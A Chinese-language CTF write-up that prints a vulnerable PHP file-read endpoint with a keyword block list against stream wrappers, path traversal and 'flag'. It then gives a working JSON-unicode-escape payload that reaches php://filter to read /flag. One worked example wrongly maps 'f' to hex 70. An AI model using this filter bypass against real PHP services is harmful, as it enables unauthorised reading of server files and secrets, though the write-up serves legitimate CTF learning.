json字符绕过以及伪协议

json字符绕过以及伪协议

打开页面,发现是源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
 <?php
error_reporting(0);

if (isset($_GET['source'])) {
show_source(__FILE__);
exit();
}

function is_valid($str) {
$banword = [
// no path traversal
'\.\.',
// no stream wrapper
'(php|file|glob|data|tp|zip|zlib|phar):',
// no data exfiltration
'flag'
];
$regexp = '/' . implode('|', $banword) . '/i';
if (preg_match($regexp, $str)) {
return false;
}
return true;
}

$body = file_get_contents('php://input');
$json = json_decode($body, true);

if (is_valid($body) && isset($json) && isset($json['page'])) {
$page = $json['page'];
$content = file_get_contents($page);
if (!$content || !is_valid($content)) {
$content = "<p>not found</p>\n";
}
} else {
$content = '<p>invalid request</p>';
}

// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{&lt;censored&gt;}', $content);
echo json_encode(['content' => $content]);

通过分析源码,我们可知道

1
$body=file_get_contents('php://input');

是$body将接受post提交的数据

而代码

1
$json=json_decode($body,true);

是将$body进行json解码

而从源码中的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function is_valid($str) {
$banword = [
// no path traversal
'\.\.',
// no stream wrapper
'(php|file|glob|data|tp|zip|zlib|phar):',
// no data exfiltration
'flag'
];
$regexp = '/' . implode('|', $banword) . '/i';
if (preg_match($regexp, $str)) {
return false;
}
return true;
}

可知,这个自定义函数is_valid()的作用是正则过滤掉一些关键词,从

1
2
3
4
5
6
7
8
$banword = [
// no path traversal
'\.\.',
// no stream wrapper
'(php|file|glob|data|tp|zip|zlib|phar):',
// no data exfiltration
'flag'
];

我们可以知道.和flag,以及一些协议都被过滤了,而我们看向这个if

1
2
3
4
5
6
7
if (is_valid($body) && isset($json) && isset($json['page'])) {
$page = $json['page'];
$content = file_get_contents($page);
if (!$content || !is_valid($content)) {
$content = "<p>not found</p>\n";
}
}

我们知道我们需要$body不包含过滤的关键词,$json和$json[‘page’]不为空,从而让我们可以利用

1
$content = file_get_contents($page);

来读取flag,而且我们还要让$content有效,且得到的$content不包含正则过滤的关键词,从而绕过这个if

1
if (!$content || !is_valid($content))

而最后的代码

1
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{&lt;censored&gt;}', $content);

如果得到的$content中包含ctf字段的话,会用censored来代替,通过对源码的通读,我们可以知道源码中只对post提交的json编码的数据进行检验,所以我们可以利用json转义字符绕过,即将字符转为16进制,并加上\u,实例

1
f的16进制是70,则json转义字符为\u0070

因此,我们可以利用php伪协议来读取flag,即post提交

1
2
{ "page" : "\u0070\u0068\u0070://filter/convert.base64-encode/resource=/\u0066\u006c\u0061\u0067"}

然后得到

1
{"content":"ZmxhZ3tiOWRkZGExNy05NjI2LTRhODAtYTcxMC0wMzgxZTkzMWE1MzB9Cg=="}

base64解码,即可得到flag